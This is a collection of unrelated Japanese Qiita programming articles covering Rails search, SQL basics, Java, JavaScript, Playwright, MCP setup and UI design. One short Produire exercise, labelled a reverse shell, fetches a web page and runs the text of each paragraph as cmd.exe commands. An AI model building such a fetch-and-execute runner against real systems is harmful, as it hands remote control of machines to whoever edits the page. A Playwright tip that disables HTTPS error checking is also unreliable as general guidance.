OmniAICreator/Qiita-1.07M huggingface dataset:
学習12日目

# 今日学んだこと
① 検索機能の実装
② dependent: :destroy

## ①検索機能の実装
まず、ルーティングを定義する。
```
get "/search", to: "districts#search"
```

次に、コントローラにsearchメソッドを定義する。
```
def search
  @hoges = Hoge.where("name LIKE ?", "%#{params[:inputword]}%")
end
```
searchに対応するviewにおいて、@hogesをeachで1つずつ取り出す処理を後で記述するので、@hogesを定義しておく。
Hogeモデルに対しwhereメソッドを使用することで、指定した条件のレコードを全て取得してくれる。
上記記述はparamsの中の「inputword」というキーに対応するバリューを用いて、nameカラムの文字列にそれを含むレコードを取得している。

次に、検索フォームを表示したいviewに対し、フォームの記述をする。
```
<%= form_with url: search_path, method: :get do |form| %>
   <%= form.text_field :inputword %>
   <%= form.submit "search" %>
<% end %>
```

最後に、searchに対応するviewを作成し、検索結果を表示させる。
```
<% @hoges.each do|hoge| %>
  <%= hoge.name %>
<% end %>
```

## ② dependent: :destroy
has_manyやhas_oneのアソシエーションにおいて、親を削除すると、対応する子も全て削除するための記述。
(例) hoge.rb
```
has_many :fugas, dependent: :destroy
```
※fugaモデルにおいて「belongs_to :hoge」の記述があることを前提にしている

# 感想
オリジナルアプリでsearchとindexのviewが重複しているので、今後リファクタリングする必要があると感じた。
nameカラムだけでなく、他のカラムを選択して検索できるとユーザ体験の向上になると感じた。
ABEMA開発から学んだ「これからのエンジニア」に必要な5つの力

次世代型ハッカソンの一環として2024年3月に開催された「<a href="https://www.youtube.com/playlist?list=PL8rtY-KIcZTdqRNTZJsP74PG4Ctptfy76/">GIFTech Academy</a>」では、Abema TVの取締役である長瀬慶重氏をお招きし、インターネットテレビ局「Abema」開発時の「オーナーシップ」や「0→1のプロダクト開発」をテーマに講義をしていただきました！

## はじめに
「ChatGPTがコードを書いてくれる時代、自分の価値ってなんだろう？」
「最先端サービスを支えるエンジニアって、どんな視点で動いてるんだろう？」

そんな疑問を持つエンジニアに向けて、今回はABEMAを支える技術チームの考え方から、<b>これからの時代に求められる「5つのスキル」</b>をまとめました！
ABEMA開発チームのリアルな声を元に、「AI時代に生き残るエンジニア」のヒントを探ってみましょう。

本記事に興味を持った方は、以下より動画でぜひ生の声をお聞きください👇
<iframe width="560" height="315" src="https://www.youtube.com/embed/JmfRMCzHLTQ?si=p5Bm1v8J0ebSBMTW" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

## 1.「最高」か「最速」か- 成果を出すためのスピード戦略
<b>未成熟な市場では最速が勝ち、成熟市場では最高の品質が勝つ。</b>
ABEMAはリリース当初からこの原則に則り、3ヶ月という超短期間でのプロダクト開発を強行突破。

エンジニアとして、以下のようなマインドが問われます：
・どこまで削っても動くMVP（Minimum Viable Product）を最速で届ける
・品質が問われるフェーズでは、細部までこだわる技術的体力
・「完璧よりも進捗を」重視する開発文化

:::note info
実践Tips
「これは今、“最速”を重視するフェーズか、“最高”を目指すフェーズか？」を意識するだけで、技術選定や優先順位の精度が上がります。
:::

## 2. エンジニアにも「オーナーシップ」が必要な時代
ABEMAチームでは<b>年齢・役職を問わず「意思決定する姿勢」</b>が重視されます。
特に印象的だったのは、「入社2ヶ月の新卒でも大胆に機能提案して実装された」話。

これは以下の力を象徴しています：
・問題を自分ごととして捉える
・役割にとらわれず提案・推進する
・失敗しても責任をもってやりきる

:::note info
実践Tips
「これって誰かがやってくれるだろう」は捨てて、**自分がプロダクトオーナーならどうするか？**と考えて動いてみる。
:::

## 3. AI時代にこそ「ソフトスキル」が差をつける
「AIがコードを書く」世界で残るのは、<b>“人間にしかできないこと”</b>。

その代表格が以下のようなソフトスキルです：
・チームでの意思疎通・共通認識の言語化
・なぜその技術を選ぶのか？を説明する力
・顧客視点でプロダクトに価値を出す力

ABEMAでも、「技術的な正しさ」だけでは動かないプロジェクトが多く、“伝える力”が技術力と同じくらい大切だと語られていました。

:::note info
実践TIP
普段のコードレビューで「Why」を1行コメントに加える練習をしてみましょう。コミュニケーションの質がグッと上がります。
:::

##  4. 「失敗」→「学び」→「改善」のスピードが勝負を決める
ABEMAでは、<b>UX改善のためにあえて成功確率が低い施策を早く試す文化</b>があります。

この<b>実験主義</b>こそ、これからの時代に強い組織・個人の特徴。
・最初から完璧は目指さない
・仮説→検証→改善を高速で回す
・数字で効果測定し、次の一手を最速で出す

:::note info
実践TIP
個人開発でも「小さな実験」を回す癖をつけると、本番のプロダクトでも行動の質が高まります。
:::

## 5. 成長するには「環境」が9割
ABEMA開発チームが口を揃えていたのが、<b>「誰とどこで働くかが圧倒的に重要」</b>ということ。
スキルは後からでも伸ばせるが、環境が悪いとそもそも成長できない。

・常に挑戦がある環境を選ぶ
・高いレベルの仲間と働く
・正解がない中で動き続ける柔軟性を持つ

:::note info
実践TIP
「今の環境は自分を押し上げてくれているか？」を定期的に問い直しましょう。環境は最強のブースターです。 
:::


## まとめ：エンジニアの価値は“選択と行動”で決まる
ABEMA開発チームの話を通して見えてきたのは、技術力だけではもう不十分という現実。
AIに一部の仕事が代替される中で、<b>「考える力」「動く力」「伝える力」</b>がエンジニアの武器になっていきます。

“どんな価値”を持ったエンジニアになりたいか？ぜひコメントでお教えいただけますと嬉しいです✨

👇ABEMA開発秘話について、もっと詳しく知りたい方は、GIFTech Channelでご覧ください🔍

https://www.youtube.com/@GIFTechCH
【MySQL入門】実務で使うSQL構文一覧

# はじめに
エンジニアになったばかりの人にとっては、何から始めればいいかわからないと思うので、優先的に学習してほしいSQL構文をまとめました。

実務でどんなSQL構文がよく使われるかは、企業や業務によって違うと思いますが、少しでも参考になれば嬉しいです。

# 文
| 文 | 説明 |
|:-|:-|
| ALTER TABLE | 既存のテーブル構造を変更する。|
| COMMIT | トランザクションを確定して、変更内容をデータベースに反映する。|
| DELETE | テーブルから指定した条件のデータを削除する。|
| DROP INDEX | インデックス（検索速度向上用の仕組み）を削除する。|
| DROP TABLE | テーブルそのものを削除する。|
| EXPLAIN | SQLの実行計画（どのように検索・結合されるか）を確認する。|
| IF | 条件によって処理を分岐させる制御構文。|
| INSERT | テーブルに新しいデータを追加する。|
| ROLLBACK | トランザクションを取り消して、直前の状態に戻す。|
| SELECT | テーブルからデータを取得する。|
| UPDATE | 既存のデータを更新・変更する。|

# 句
| 句 | 説明 |
|:-|:-|
| AS | 列やテーブルに別名をつける。|
| DISTINCT | 重複するデータを除外して一意なデータだけを取得する。|
| GROUP BY | データを指定したカラムでグループ化して集計する。|
| HAVING | GROUP BYでグループ化した後に条件を指定する。|
| JOIN | 複数のテーブルを結合してデータを取得する。|
| LEFT JOIN | 左側のテーブルの全データを保持しつつ、右側と一致したものを取得する。|
| LIMIT | 取得する行数を制限する。|
| ORDER BY | データの並び順を指定する。|
| UNION | 複数のSELECT文の結果を縦方向に結合する。|
| WHERE | 操作するデータに条件を指定する。|

# 演算子
| 演算子 | 説明 |
|:-|:-|
| AND | 複数条件のすべてを満たす場合に真を返す。|
| BETWEEN | 指定した範囲内に値があるかを判定する。|
| EXISTS | サブクエリに結果があるかを判定する。|
| IN | 指定したリストに一致する値があるかを判定する。|
| IS | 特殊な値との比較を行う。|
| LIKE | パターン一致検索を行う。|
| NOT | 条件を否定する。|
| OR | 複数条件のいずれかを満たす場合に真を返す。|

# 関数
| 関数 | 説明 |
|:-|:-|
| COALESCE | 引数の中で最初にNULLでない値を返す。|
| COUNT | データの件数をカウントする集計関数。|
| CURRENT_DATE | 現在の日付を返す。|
| CURRENT_TIME | 現在の時刻を返す。|
| CURRENT_TIMESTAMP | 現在の日付と時刻を返す。|
| MAX | 指定した列の中で最大値を返す。|
| MIN | 指定した列の中で最小値を返す。|
| NOW | 現在の日付と時刻を返す。|
| SUM | 数値の合計を返す集計関数。|

# おわりに
今回は、エンジニアになったばかりの人に優先的に学習してほしいSQL構文を紹介しました。

他にもいろいろなSQL構文があるので、もし興味があれば、以下のURLからMySQL 8.4 Reference Manualにアクセスしてみてください。

https://dev.mysql.com/doc/refman/8.4/en/
プロデル、調査 その46

# 概要
プロデルが、CLRらしいので、調べて見た。
練習問題やってみた。

# 練習問題
リバースシェルを実装せよ。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/6507849f-9a82-430d-b5c7-d871afa16e99.png)


# 

```

内容は、HTTPで「https://qiita.com/ohisama@github/items/384c346d7187179c582c」を取得したもの
内容から「「&lt;p&gt;(.*)&lt;\/p&gt;」」という正規表現で子要素ごとに取り出して要素にそれぞれ繰り返す
　　	要素の1を報告する
　　	WScriptShellというCOM型(「WScript.Shell」）を作る
	WScriptShellからインスタンスを作ってsaとする
	sa:Run(「cmd.exe /k [要素の1]」)
そして



```

以上。
Java解説 20250616

## 一度書けば、どこでも動く
・ソースファイルをコンパイルした後、OSの違いをJVMが吸収する。
・JVMで作成されたファイルは、中間ファイルです。

## 中間ファイル
バイトコードは、バイナリ(コンピュータが処理するために二進化された情報)で記述されている。

## 二進法
二進化とは、二進法を用いて実数を数字の０と１だけで表す表記法です。

<br>

[オラクル認定資格教科書 Javaプログラマ Bronze SE(試験番号1Z0-818)](https://www.amazon.co.jp/%E3%82%AA%E3%83%A9%E3%82%AF%E3%83%AB%E8%AA%8D%E5%AE%9A%E8%B3%87%E6%A0%BC%E6%95%99%E7%A7%91%E6%9B%B8-Java%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9E-Bronze-SE-%E8%A9%A6%E9%A8%93%E7%95%AA%E5%8F%B71Z0-818/dp/479816206X/ref=pd_lpo_d_sccl_1/357-5313211-9846263?pd_rd_w=VQCzo&content-id=amzn1.sym.855d8f70-df76-4181-80b0-56e48ae3bb9b&pf_rd_p=855d8f70-df76-4181-80b0-56e48ae3bb9b&pf_rd_r=JRR4W9RKV32K4AXF1WRZ&pd_rd_wg=l7VoD&pd_rd_r=1d465f85-0562-4b51-b523-77f8486c1508&pd_rd_i=479816206X&psc=1 "オラクル認定資格教科書 Javaプログラマ Bronze SE(試験番号1Z0-818)")
プロデル、調査 その45

# 概要
プロデルが、CLRらしいので、調べて見た。
練習問題やってみた。

# 練習問題
QiitaのContributionをスクレイピングせよ。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/0f5875d1-fd38-4f55-924e-f8e5de0ec4cb.png)


# サンプルコード

```

内容は、HTTPで「https://qiita.com/ohisama@github」を取得したもの
内容から「「Contribution: ([0-9].+[0-9]) 」」という正規表現で子要素ごとに取り出して要素にそれぞれ繰り返す
　　	要素を報告する
そして



```

以上。
「Amazon Q CLI でゲームを作ろう」をやってみた

## はじめに
本記事は、2024年6月9日｣(月)に行われた[JAWS-UG 横浜支部イベント](https://jawsug-yokohama.connpass.com/event/355243/)参加内容とその成果物紹介になります。

詳しくは[Amazon Web Services ブログ](https://aws.amazon.com/jp/blogs/news/)の記事、[Amazon Q CLI でゲームを作ろう Tシャツキャンペーン](https://aws.amazon.com/jp/blogs/news/build-games-with-amazon-q-cli-and-score-a-t-shirt/)を読んで頂きたいのですが、生成AIがここまで出来るのか！？となった１日でした。

### 成果物画面
私の作ったゲームのトップ画面です。これが日本語の指示だけで作れる時代になったのかとかなりショックを受けました。生成AI恐るべし。詳細は記事後半に記載しています。
![top.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366133/bd634d76-af0b-4bc2-9638-b26214360c28.png)


### イベント参加動機
会社の同じ部署の人から「職場と同じビルでJAWS-UG横浜支部のイベントがあるよ」との情報を開催3日前に入手！。慌てて申し込みました。場所は横浜アイマークプレース10Fにある三菱電機様の[Serendie Street Yokohama](https://www.mitsubishielectric.co.jp/serendie/about/innovation-hub/)でした。HPを見て同じビルなのにとてもお洒落な空間に憧れしかありません。

## イベント概要
当日はおにぎり、おつまみ、そしてアルコールまで用意されているというまさに至れり尽くせりの環境でした。最初に「AWSさんからのお話＆準備 BuilderID登録など」の発表があり、ゲーム作り気分を盛り上げてくれました。

### ゲーム作成準備
Step 1 : AWS Builder IDを用意する
Step 2 : Amazon Q CLI をマシンにインストールする
Step 3 : Amazon Q CLI とのチャットセッションを開始する
はい、これで準備完了です。
![aq.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366133/9d45f202-f403-4b56-830c-f8c3561d59bc.png)


### ゲーム作成
プロンプトに日本語で指示を出して待つこと数分。はいゲームが出来あがりです。あとは改善点の指示を出せばブラッシュアップされます。

日本語指示その１
```
ゲームをhtml,css,javascriptで作って。国旗当てのクイズです。質問は国名で画面には国旗を表示して正しい国旗をクリックすると正解です。１問目は国旗は２つだけ表示してください。正解するごとに選択可能な国旗の数を１個増やしてください。連続正解数を競います。ゲームタイトルは画面の上に「国旗当てクイズ」と表示してください。
```

日本語指示その２
```
ゲーム中は一度出題した問題は出さないでください。国旗の種類は国連加盟国としてください。ゲーム開始時にジャンルを選べるようにしてくださ。ゲーム開始時とリトライ時にジャンル「普通」、「国旗の柄が似ている」、「大陸別」、「高難易度」を選べるようにしてください。最高得点を記録して画面に表示するようにしてください。
```

日本語指示その３
```
結果表示の時に世界地図を表示して、選んだ国の位置に赤丸を表示して。
```

指示その３は１回で正しく世界地図は表示されませんでした。根気よく正常に表示されるまで指示を繰り返してやっと表示されるようになりました。ただ国の位置を示す赤丸はかなり適当な結果だったのが今の時点の生成AIの限界かなと思いました。

## ゲーム画面紹介
### レベル：普通
最初は２か国で始まります。
![n-a-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366133/944b74dc-5ff5-40bd-9fb4-347d92d296a0.png)

正解を続けると国旗が１個増えていきます。普通でもこのぐらいだと普通に間違ってしまいました。
![n-a-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366133/40f1f4b7-5212-4541-bb81-3f95d384c305.png)

### レベル：国旗の柄が似ている
普通に難しいと思ってしまいました。
![g-q-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366133/2f9d2494-d03d-41c6-a91c-8320ae214a07.png)

### レベル：高難易度
わたしだと初めて見る国旗が多いです。まさに運試し。
![h-q-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366133/9914aa71-f92a-4965-961c-646830f33fe9.png)

## おわりに
自分ではAmazon Q CLI でゲームを作ってみようとは思わなかったと思います。いい機会を提供して頂きました皆様に感謝です。本記事を読んでみて興味が出た方はぜひ使ってみてください。
JavaScriptで1時間前のdateを作成

## 概要
JavaScriptで1時間前のdateを作成します。

## コード
コードは簡潔で下記のように出力できます。
```js
const now = new Date();
const oneHourAgo = new Date(now.getTime() - 60 * 60 * 1000);

console.log(oneHourAgo) // 1時間前が出力される
```

## コード解説
### `getTime`は何を返却するのか。
```js
interface Date {
    /** Returns the stored time value in milliseconds since midnight, January 1, 1970 UTC. */
    getTime(): number;
```

getTimeが定義されているinterfaceではミリ秒単位でnumber型を返却するとあります。
そのため、1時間をミリ秒単位にしてミリ秒単位の現在時刻から引くと意図した値を取得できます。

### 60 * 60 * 1000
- 1秒は1000ミリ秒
- 1分は60秒
- 1時間は60分


よって、上記のコードで1時間前を取得することができます。
Playwrightでwebkitのみ失敗する


Playwright をプロジェクトに追加した際に Chrome,firefox,webkit の 3 つに対してテストを実行したところ、`page.goto`でページが存在しないと webkit でのみ失敗する状況が発生しました。

## 原因

原因はセキュリティポリシーが WebKit のほうが厳しく外部リソースのロードができないことがあるとの事でした。

## 対策

設定`use`に下記を追加したところうまく行くようになりました。

```ts:playwright.config.ts
use: {
  ...,
  ignoreHTTPSErrors: true,// この行を追加
}
```

## おわりに

この記事が皆様のコーディングライフの助けになれば幸いです。

## 参考

https://playwright.dev/
競プロ日記#25/06/15

# 競技プログラミングの鉄則

## [A16 - Dungeon 1](https://atcoder.jp/contests/tessoku-book/tasks/tessoku_book_p)

- DPの典型的な基礎問題。復習のために何となくやった

## [A17 - Dungeon 2](https://atcoder.jp/contests/tessoku-book/tasks/tessoku_book_q)
- 動的計画法の復元の典型問題

## [B16 - Frog 1](https://atcoder.jp/contests/tessoku-book/tasks/dp_a)
- DPの典型的な基礎問題。復習のために何となくやった（A16の練習問題）

## [B17 - Frog 1 with Restoration](https://atcoder.jp/contests/tessoku-book/tasks/tessoku_book_cp)
- 動的計画法の復元の典型問題。A17の練習問題

# 余談だん
なんとなくDPの復習をしたかったのでやってみた。最近本当にモチベが上がらなくてしんどい。競技プログラミング以前に何に対してもモチベーションが上がらずにしんどい。
精神的なものか
JavaでHttpHeaders型の変数から残すキー以外は削除するユーティリティクラス

HttpHeaderUtils.java
```java
import org.springframework.http.HttpHeaders;

import java.util.List;
import java.util.Iterator;

public class HttpHeaderUtils {

    public static void retainAllowedHeaders(HttpHeaders headers, List<String> allowedKeys) {
        if (headers == null || allowedKeys == null) return;

        List<String> allowedLower = allowedKeys.stream()
                                               .map(String::toLowerCase)
                                               .toList();

        Iterator<String> iterator = headers.keySet().iterator();
        while (iterator.hasNext()) {
            String key = iterator.next();
            if (!allowedLower.contains(key.toLowerCase())) {
                iterator.remove(); // 許可されていないキーを削除
            }
        }
    }
}
```
headers.properties
```properties
# headers.properties
allowed.keys=X-Auth-Token,X-Custom-Header
```

HeaderPropertyLoader.java
例外処理はサンプルなので省略

```java
import java.util.Arrays;
import java.util.List;
import java.util.ResourceBundle;
import java.util.stream.Collectors;

public class HeaderPropertyLoader {

    private static final ResourceBundle bundle = ResourceBundle.getBundle("META-INF/spring/headers");

    public static List<String> getAllowedKeys() {
        String raw = bundle.getString("allowed.keys");
        return Arrays.stream(raw.split(","))
                     .map(String::trim)
                     .map(String::toLowerCase) // 小文字化して比較しやすく
                     .collect(Collectors.toList());
    }
}
```

実行例

```java
HttpHeaders headers2 = new HttpHeaders();
headers2.add("X-Auth-Token", "abc123");
headers2.add("X-Remove-This", "xyz");

HeaderPropertyLoader headerPropertyLoader = new HeaderPropertyLoader();

List<String> allowedKeys = headerPropertyLoader.getAllowedKeys();
HttpHeaderUtils.retainAllowedHeaders(headers2, allowedKeys);

System.out.println(headers2); // → X-Auth-Token だけが残る
```

```sh
[X-Auth-Token:"abc123"]
```
JavaScriptでAtCoderをする

# 初めに
AtCoderをJacaScriptでやりたいと思ったが、環境構築の方法がわからなかった為、これからのためにも記事にして残しておくことにした。ローカル環境で構築した。

# ステップ1　Node.jsのインストール
### Node.js公式サイトへアクセス
初めにNode.jsをインストールするために、[Node.js](https://nodejs.org/ja "Node.js Home")にアクセス。
### Node.jsをインストール
次にインストールタブからLTS版のNode.jsを`.msi`ファイルでダウンロード
チェックボックスに入力してNextでOK。

⭐動作確認
コマンドプロンプト等で下記を入力。
```
node -v
npm -v
```
どちらもバージョンが表示されたらOK
npmのバージョンはサイトに書いてあるものと違ってもOK

# ステップ2 VSCodeのインストール
VSCodeはインストールしている人が多いと思うためVSCodeの公式サイトのURLのみ貼り付けておく。
[VSCode](https://code.visualstudio.com/ "VSCode Home")
# ステップ3 作業フォルダとコードファイル、入力ファイルの作成
### ターミナル等でAtCoder用のディレクトリを作成
以下をコピペ。使えないものもあるかもしれないため、ものによって確認。
```
mkdir atcoder
cd atcoder
```
### JSファイル作成
エディタで以下のようにしてjsファイルを作成
```
code main.js
```
ここで作成したフォルダにコードを書いていきます。
次に入力ファイルを上記と同じように`main.js`部分を`input.txt`と変えることで作成できる。このファイルに値を入力する。
### ステップ4　テンプレコードの記述、テスト
標準入力を処理するためにテンプレートを使用する。
ここでは自分が参考にした記事を張り付けておく。
[【初心者の方へ】JavaScriptでAtCoderを始めてみませんか？](https://qiita.com/yukoko/items/cffa7c7f3639e4f6a653)
この記事では実際に例題を用いて解き方を解説しているため、例題でしっかり実行できるかテストする。
記事に書いてあるテンプレコードをコードファイルに書き込むだけで実行できる。ただし、
```
Main(require("fs").readFileSync("/dev/stdin", "utf8")); 
```
の部分はwindows環境を用いる場合は
```
Main(require("fs").readFileSync(0, "utf8"));
```
にする必要がある。

# おわりに
殴り書きのような形になってしまったが、以上でJavaScriptでAtCoderを行うための環境構築の解説が完了した。上記の記事では初心者のための情報が多く記載してあるため、効果的に用いたい。
claude-codeにbrowsermcpを導入して、UIチェックをagentにしてもらう

※ 主に、Windowsでwslを使用しており、wslからclaude-codeを呼んでいる方向けの内容になっています。

## browsermcpとは
ざっくりと、agentがブラウザー操作を行うことができるようになるMCPです。
これにより、agentがブラウザーにアクセスし、agent用のマウスカーソルを使い画面を操作・コンソールのエラーを見たり、Imageを取得して画面情報を読み取ったりできるようになります。
同じようなMCPにplaywrightがありますが、こちらはブラウザー操作を重視している(開発中のUIチェックならこちらで十分では)？。また、playwrightはwslで使用するための環境を整える必要あり、、のため、必要十分でチェックを行えるこちらがなかなか投入コストに対して体験の向上が良いです。
それでは、早速導入方法を見ていきましょう。

## mcpbrowserの導入
以下の3ステップで導入が完了します。

### ブラウザに拡張機能を導入
公式サイトから、chrome拡張機能を導入しましょう。
https://browsermcp.io/
このようなロボットのアイコンが追加されますので、ロボットのアイコンクリック
→接続、でagentが閲覧するブラウザーを設定します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4114453/aa98539b-c49c-4aa3-85d5-62295f441dcd.png)

### mcp設定ファイルに記載する
プロジェクトルートにclaude.jsonファイルを作成し、以下の内容を記載
```json: claude.json
{
  "mcpServers": {
    "browsermcp": {
      "command": "npx",
      "args": ["@browsermcp/mcp@latest"]
    }
  }
}
```

### claude-codeにコマンドを登録
claude CLiが実行できるterminalで、以下のコマンドを入力
```
claude mcp add browsermcp npx @browsermcp/mcp@latest
```
これでbrowsermcpコマンドを使えるようになります。

### MCPが現在使える常態か確認しよう
MCPの設定が一通りできたら、claudeでclaude-codeを立ち上げ、
```
/mcp
```
のコマンドで設定できているか確認しましょう。
```
✔connected
```
と出ていれば使用可能な状態です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4114453/079128bf-93ab-42c7-8a10-f9dc97082494.png)

agentに、browsermcpを使ってUIチェックをお願いします。
などと頼んでみましょう！
毎回実装後にUIチェックをしてもらいたいときは、CLAUDE.mdに
```
- UIに変更を加えた際は、必ずUIチェックを行ってください。
- UI チェックは、 browsermcp を使い確認をしてください。
```
などと書いておくと良いと思います。

では、良いVibe coding / Agentic codeingライフを～！

## お知らせ
6月19日にconpassで行う、AIコーディング道場で発表を行います！
現在開発中の、小説をAIと共に作るためのツールについて、
2ヶ月でどこまでできたか？を発表しますので、
奮ってご参加を！お願いいたします！

https://heroz-job.connpass.com/event/356158/
HTML タグの属性の中の `<` と `>` がエスケープされるようになった

https://developer.chrome.com/blog/escape-attributes

HTML の属性値に含まれる `<` や `>` が Chrome 138 から実体参照に自動変換されるとのこと。 Chrome 138 のリリースはベータ版が 2025年5月28日、正式リリースは 2025年6月24日を予定

HTML タグの属性値というのは `<html lang="ja">` の `lang="ja"` の部分。この中に含まれるのは基本的に文字列になるのだけれど、その中に `<` や `>` が含まれていると `&lt;` や `&gt;` に置き換えられるというもの

```html
<!-- 記述された HTML -->
<div id="div1" data-content="<u>hello</u>"></div>
<!-- getElementById('div2').outerHTML -->
<div id="div2" data-content="&lt;u&gt;hello&lt;/u&gt;"></div>
```

この変更は常に適用されるわけではなく `outerHTML` `innerHTML` `getHTML` で文字列として HTML を取得した際に適用される

`getAttribute` や `dataset` `attributes` を経由して属性値を取得する場合はこれまで通り `<div id="div1" data-content="<u>hello</u>"></div>` であっても `<div id="div2" data-content="&lt;u&gt;hello&lt;/u&gt;"></div>` であっても `"<u>hello</u>"` が取得できる

## まとめ

そもそも属性値に `<` や `>` を入れることはあまりないはずというのと、フレームワークを使っている限り `outerHTML` `innerHTML` `getHTML` に関しても使うことは少なくさらに属性値の抽出はかなりレアケースだと思うので、そこまで心配しなくて良さそう

HTML を切った張った系の実装をしているシステムに関してはちょっとだけ気にしてみてください

斜め読みして `dataset` の中身変えるの影響デカくね、と思ってこの記事を書き始めたのだけどあまり影響なさそうでよかったよかった

元記事ではこれを実装する原因となった脆弱性などの解説へのリンクもあるので興味ある方は見てみてください
「なんかダサい」から抜け出す！個人開発アプリのUIをそれっぽく見せる、色彩計画とコンポーネント設計の記録【英語学習アプリ開発#5】

こんにちは、とむです。個人開発中の英語学習アプリ『（仮）Re-Learn English』の開発進捗報告です。

（前回の記事はこちら → [何をしても "Element type is invalid" が解決しない！答えは意外とすぐそこに...?【英語学習アプリ開発#4】](https://qiita.com/tama0931/items/478b40eb8569d7ca1480)）

前回、サーバーサイドの複雑なエラーとの長い戦いに、ついに終止符を打ちました。
機能が安定して動くようになった今、次なる壁は**「デザイン」**でした。「機能は動くけど、なんだか見た目がパッとしない…」。今回は、そんな悩みを抱えた私が、プロのUI/UXデザイナー（という設定のAI）にレビューを依頼し、UIを劇的に改善していく過程を記録します。

# 1.これまでのUIと今回のコンセプト

まず、改善前のUIがこちらです。

![以前の白い背景のクエスト画面のスクリーンショット](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4109907/a6aa324b-2324-4b00-afab-88d94cce5c5d.png)

見ての通り、白い背景に緑文字、という非常にシンプルなデザインです。機能はしますが、ユーザーが「使いたい！」とワクワクするような魅力はありません。
**「これではユーザーは学習を継続できない」**と、感じました。

## デザインコンセプトの策定：「黄昏の海辺 × リキッドグラス」

そこで、以下のコンセプトを策定しました。

-   **テーマ:** 「黄昏の海辺（Coastal Twilight）」。学習前の心を落ち着かせ、集中力を高める、青とオレンジの美しいグラデーションを基調とする。
-   **UIスタイル:** 「リキッドグラス（Liquid Glass）」。背景が透ける、流体のようなガラスの質感をUI要素に取り入れ、モダンで先進的な印象を与える。

![参考にしたリキッド・グラスの画像](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4109907/7477b028-5df3-4ec1-9dac-71f53277813b.png)

↑参考にした、最近Figmaとかで話題のリキッドグラス。
このコンセプトを元に、UI/UXデザイナー（AI）に具体的な改善指示を出しました。

## 実装のポイントとテクニック

### 「オーロラ・グラデーション」背景

静的な線形グラデーションでは、リキッド・グラスの質感は引き立ちません。そこで、`globals.css` に、複数の放射状グラデーションを重ね合わせることで、より深みのある背景を実装しました。

# 2."リキッド・グラス"カードの実装
今回の主役であるリキッド・グラスは、Tailwind CSSのクラスを組み合わせることで実現しました。
SkillProficiencyCard.tsx というコンポーネントを例に挙げます
```
const SkillProficiencyCard = ({ ... }) => {
  return (
    <div className="
      bg-black/10           // 1. 半透明の黒い背景
      backdrop-blur-xl        // 2. 背景を強くぼかす
      rounded-2xl             // 3. 大きめの角丸
      p-6                     // 4. 内側の余白
      border border-white/10  // 5. うっすらとした白い境界線
      shadow-lg shadow-black/20 // 6. 背景に馴染むリアルな影
    ">
      {/* ... コンポーネントの中身 ... */}
    </div>
  );
};
```
ポイントは、背景を完全な白や黒にせず、bg-black/10 のように透明度を持たせた色にすることです。これにより、背景のグラデーションがいい感じに透ける仕様にできました。

# 3. 「アクションの最適化」
当初、ボタンアクションの役割が曖昧でした。
連続で問題が出題されても、どの問題からもクエストを完了させることができてしまうという、謎仕様になっていました。。。

これを、UI/UXの原則に従って以下のように改善しました。
アクションの最適化:
「添削する」ボタンと「次へ進む」ボタンが同時に表示されないように、状態に応じて表示を切り替えるロジックを実装。
ユーザーが常に「次に何をすべきか」が一つに絞られるようにした。
これにより、見た目が美しくなっただけでなく、ユーザーを迷わせない、直感的な操作性も実現できました。
After：完成したUI
そして、これらの改善をすべて適用した最終的な画面がこちらです。
### ホーム画面
![改善後ホーム画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4109907/6f4146e4-ac71-4deb-add8-12fb5b9a8a61.png)
(※実装途中です。)

### クエスト画面
![改善後クエスト画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4109907/83f5812f-5b7d-4051-b26b-728fe468cef2.png)

### クエストクリア画面
![クリア画面(非レベルアップ)](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4109907/5503fc55-8398-4411-884b-3e49a1a0acab.png)
![クリア画面(レベルアップ)](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4109907/de9b16eb-cbb0-4335-91ee-d80fb9d3e5f9.png)
レベルアップ時は、少々盛大なUIにしてみました👍
無機質だったUIが、テーマと一貫性のある、使っていて心地よいデザインに生まれ変わったのではないでしょうか。

# 4.まとめ
背景のグラデーション、カードの質感、余白、そしてユーザーの視線の流れ。これらを一つひとつ丁寧に設計していくことで、アプリの「体験価値」は大きく向上するのではないでしょうか。
今回のデザイン改修は、機能実装と同じくらい、いや、それ以上に困難な道のりでしたが、その価値は間違いなくありました。
この記事が、個人開発で「見た目」に悩んでいる方の、何かしらのヒントになれば幸いです。
最後までお読みいただき、ありがとうございました！
生成モデルの基礎知識3 LoRA

こんにちは。
最近、NVIDIA-Certified Associate: Generative AI and LLMs (NCA-GENL)を習得しました。
その際に知っておいた方が良い基礎知識とコードの書き方を共有したいと思います。
生成AIのチュートリアル:

https://github.com/Yuji-github/Gen_AI_Tutorial

https://colab.research.google.com/drive/1YCG8NlrF1iILMp362RoY99esnKVKaqFu?usp=sharing

１．LoRAとは？（モデルをトレーニングする際に使います。）
Low-Rank Adaptation（低ランク適応）の略。
簡単に言うと、「頭脳のほんの一部だけを少しだけ変える」ことで、新しいことを覚えさせるアイデアの事。
開発者のEdward　Huが言うにはChatGPT3は1750億のパラメータを持ち、１つのChatGPT3を運用する際に1TBサイズのメモリーが必要でロード時間（1分程度）も遅く現実にユーザーが使うのは難しかった為、その問題を解決する為だそうです。

その時の２つの質問を考えました。
１．1750億のパラメータ全てをファインチューンする必要があるのか？
２．どうやってのMatrixをアップデートするのか？

